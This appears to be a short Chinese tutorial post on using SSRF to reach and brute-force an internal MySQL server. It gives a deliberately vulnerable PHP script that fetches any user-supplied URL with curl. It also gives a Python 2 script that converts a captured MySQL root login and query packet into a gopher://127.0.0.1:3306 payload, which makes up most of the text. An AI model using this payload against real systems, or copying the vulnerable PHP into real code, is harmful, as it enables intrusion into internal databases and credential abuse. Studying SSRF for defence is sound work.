ssrf爆破mysql

php ssrf 代码
<?php $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_GET['url']); #curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_HEADER, 0); #curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); $data =curl_exec($ch); curl_close($ch); echo $data; ?>

 

抓包跟踪tcp流

ssrf爆破mysql

 

tcp流原始数据处理 进行urlencode

 

python 数据处理

import urllib

s="""5000000185a60f0000000001210000000000000000000000000000000000000000000000726f6f7400143cf76dd39987f1d2648aabfc4ae53cf62e826ea76d7973716c5f6e61746976655f70617373776f726400
210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d69742031"""
s = "".join(s.split())

def encode(s):
    a = [s[2*i:2*i+2] for i in xrange(len(s)/2)]
    return "gopher://127.0.0.1:3306/_%" + "%".join(a)

s = encode(s)
print "[+ local]", s

s = urllib.quote(s)
print "[+ url]", s

 

效果:

ssrf爆破mysql

 

上一篇:SSRF


下一篇:uml统一建模语言